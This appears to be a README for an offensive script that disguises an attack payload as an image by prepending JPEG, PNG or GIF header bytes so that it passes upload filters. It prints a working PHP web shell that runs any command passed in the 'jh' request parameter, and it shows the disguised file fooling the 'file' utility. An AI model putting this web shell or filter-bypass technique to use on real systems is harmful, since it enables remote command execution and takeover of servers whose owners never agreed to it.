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1.1 KiB
1.1 KiB
Scripts for payload generation
generateImageFromPayload
This script is designed to disguise a payload as an image. It does this by adding the first 20 bytes of a real image to the beginning of the file and adding a file extension. This will fool most filters that, for example, might only allow images to be uploaded.
To use it, you will need to have a payload ready to use. It could be anything, here is a simple php script named payload.php
<?php
if( isset( $_REQUEST['jh'] ) ):
system( $_REQUEST['jh'] );
endif;
If I run generateImageFromPayload payload.php, the script will create a file called payload.php.jpg.
.
├── payload.php
└── payload.php.jpg
After running file on both, you will see that it incorrectly identifies the second as an image.
file payload.php*
payload.php: PHP script, ASCII text
payload.php.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16
The script will, by default, generate a jpg although you can specify png or gif by adding a second argument, e.g.
generateImageFromPayload payload.php png